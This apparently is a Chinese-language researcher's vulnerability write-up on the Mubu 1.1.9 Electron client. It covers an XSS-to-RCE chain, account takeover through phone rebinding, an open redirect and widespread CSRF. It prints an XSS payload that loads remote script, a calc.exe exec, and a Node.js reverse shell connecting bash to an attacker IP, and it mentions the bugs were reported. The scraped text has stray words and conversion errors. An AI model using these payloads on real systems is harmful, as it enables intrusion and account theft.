幕布V1.1.9最新版漏洞集合

0X00 前言

幕布本人最先接觸是在P神的知識星球裏面看到P神推薦的,後來下了個用着還挺好用。html

以前一直都放一些零零散散的筆記,最近整理的時候,一時興起,本着漏洞源於生活的態度,遂對幕布的安全性作了些研究。git

 

0x01 背景

幕布是一款頭腦管理工具,用更高效的方式和清晰的結構來記錄筆記、管理任務、制定工做計劃、頭腦風暴。用最好的方式釋放您的大腦!github

使人以爲舒服的是,就算是免費版也支持多平臺同步,相對比其餘軟件這個很良心了,還支持多種格式導出,支持腦圖演示。shell

 

0x02 前世

早在17年,棟棟的棟師傅就對幕布的1.1.0版本進行了研究,發現了多個CSRF,如保存文檔,建立文件夾等。搜索框反射XSS,文件夾名XSS,文檔名稱XSS(在查看思惟導圖的時候觸發),暱稱存儲XSS等。windows

因爲幕布使用Electron來開發,致使咱們只要一XSS便可執行任意命令。瀏覽器

根據棟師傅的文章,我測了一下,發現現階段1.1.9版本的搜索框XSS依舊可行。安全

 

一樣文件夾名的存儲XSS也是存在的,點擊文件夾便可觸發bash

文檔名XSS(在查看腦圖的時候觸發)這個已經修復了。微信

XSSRCE其攻擊鏈以下:app

 

0X03 此生

基於上面的瞭解,我知道幕布應該有多個功能點存在CSRF和XSS,找到漏洞並不難,難的是找到一個較爲完美的利用鏈。

棟師傅的分享文檔,暱稱XSS,建立文檔而後腦圖查看觸發,我感受這個利用鏈有點複雜,且PAYLOAD過於明顯。 

通過一番思考,以爲攻擊點仍是應該放在分享文檔頁面中,這裏是與別人交互的惟一入口(目前來講)。

分享文檔頁面中包括了什麼呢?

 

 

經測試,頭像處作了過濾,暱稱的XSS也已經修復了,目標放到標題和正文。

標題一番測試以後也是過濾了,那麼只有正文了,爲了更好的測試,特意開了一個月的高級會員,高級會員能夠插入圖片,想經過圖片文件名的方式引入XSS,但發現被過濾了。

中間還測了幕布的標籤,但沒有效果。(留待白盒審計其解釋原理)

不放棄,繼續研究,看到保存文檔的請求包

會發現有一個叫id的參數,回到頁面,F12檢查,發現這個id值是做爲id屬性的值,做爲節點解析使用。

直覺告訴我這裏應該會有問題。閉合雙引號,div標籤,彈個框試一下。

好的,成功彈框了。

 

 

可是彈完以後,正文把後面錯亂的標籤代碼顯示出來了。

後面要作的就是把PAYLAOD完善,不讓錯亂代碼顯示出來,讓這個插入了惡意代碼的文檔表現的像一個正常文檔同樣。   

並且這裏的觸發點堪稱完美,只須要用戶打開文檔,減小觸發的步驟。

經過分享文檔或者投稿到精選,其餘用戶登錄狀態下瀏覽,而後觸發XSS,直到在客戶端查看觸發RCE。

這裏有一個問題是分享連接都是公開的,別人不須要登錄便可查看,但爲了可以利用,咱們必須讓用戶登錄;

還有一個問題是用戶在PC的客戶端裏面沒辦法直接查看精選頁面和分享頁面,默認是經過PC瀏覽器打開頁面的。(PS:經過PC客戶端的」幕布精選」菜單訪問的話,會自動登錄上帳號,這裏還有一個任意URL跳轉的問題)

那麼是否能夠達到用戶點擊連接,就可以直接觸發RCE呢?

由於這裏存在跨端的問題,從瀏覽器跨到幕布客戶端,須要一個橋樑。我想到的橋樑是利用Custom URL Scheme來拉起幕布,讓幕布去渲染這個帶有XSS的文檔而後觸發RCE。

但逆向了一下幕布的源碼,發現它沒有註冊相關的URl,因此這個思路行不通,但不免幕布後續更新會加入本身的URL Scheme。

現階段只能是經過」自動同步」這個橋樑,將咱們的惡意文檔帶入到客戶端中去,而後等待用戶查看觸發了,這個點是最爲致命的點了。

根據現有情況,個人攻擊思路以下:

被動方式:用戶登錄態下,把咱們這個「豐富」的文檔保存到本身的帳號下,在客戶端查看時觸發RCE。

主動方式:建立一個登錄頁面的彈框,誘導用戶登陸,只容許其登錄以後訪問分享文檔。而後再利用XSS建立一個文檔,等待用戶在客戶端查看。

總結一下其利用鏈以下:

固然這裏是以RCE爲目的,也能夠XSS打帳號密碼等其餘方式,那樣就能夠隨時掌控用戶的帳號,查看其私密文檔,建立惡意文檔,等待其查看,觸發RCE,控制目標電腦。

分析講完了,下面是驗證過程,首先咱們須要讓文檔看起來是正常的,那麼就不能像以前的PAYLOAD同樣,得利用div標籤的事件來觸發。主要是onclick onmouseover事件。我這裏用的是onmouseover事件。

" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'

文檔看起來就跟正常文檔同樣,觸發的話須要用戶鼠標懸浮在DIV上面。Web端有no-referrer-when-downgrade限制,須要使用httpsJS。客戶端則不用,最好直接用https的一了百了。

windows客戶端打開,彈個計算器

彈計算器的代碼:

require('child_process').exec('calc.exe')

Mac客戶端,反彈個shell

 

 

反彈shell的代碼

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

關於electron rce 能夠在查看這篇文章

 

0x04 番外

邏輯缺陷

繞過原手機號驗證,綁定新手機號,接管賬號

修改手機號正常流程是須要原手機號的驗證碼驗證的

 但咱們正常走一遍流程,把綁定新手機號的請求抓出來會發現,根本不須要原手機號的驗證碼。

 咱們剛開始的手機號爲132

第一步給要綁定的手機號發送驗證碼

 

第二部用獲取的驗證碼請求綁定

 

 

刷新設置頁面,會發現已經綁定成功了。

其中第一步任何其餘用戶發送便可,獲取到驗證碼,而後建立一個頁面,騙取目標用戶去訪問,利用CSRF攻擊,接管其帳號。

 

繞過微信驗證,解綁微信

好比咱們綁定了微信,就能夠用微信登錄了,正常解綁微信是須要,微信驗證一下的,可是咱們發現把解綁微信的請求抓出來,直接就能夠解綁了,且存在CSRF。

正常流程來講是這樣走的。

抓到解綁微信的請求以下:

而後發一下包就能夠解綁微信了

刷新設置頁面,發現已經解綁成功了

 至於綁定微信,須要獲取state參數,須要發送請求,只能是XSS來利用了,因此有了XSS,我就能夠獲取這個state參數,本身構造參數綁定微信到目標用戶帳號上。

 

任意URL跳轉

主要是客戶端幕布精選跳轉到瀏覽器裏面自動登錄的請求:

在客戶端點擊」幕布精選」菜單,抓到這樣的請求:

https://mubu.com/client_redirect?token=xxx&next=/explore

其中next這個能夠填寫咱們本身的第三方連接,token正確與否沒關係,甚至去掉這個參數都會跳轉。

 

CSRF (所見之處皆可CSRF

設置暱稱

設置暱稱的請求爲POST請求:

但修改成GET請求,同樣能夠。

 

經測試原來全部修改,添加,更新操做爲POST的請求,均可以用GET請求來發送。

建立文檔

這裏只能夠用來建立一個空的文檔,建立一個有內容的文檔須要通過幾個步驟,須要有XSS才能建立有內容的文檔。

綁定手機號

 解邦微信

 

0x05 總結

這篇文章記錄了對幕布安全性的研究和一些攻擊思路,上述全部漏洞均已報備幕布官方,請勿用做非法攻擊。

有些圖看不太清,放個原版文檔連接

博客佔坑~

相關文章
相關標籤/搜索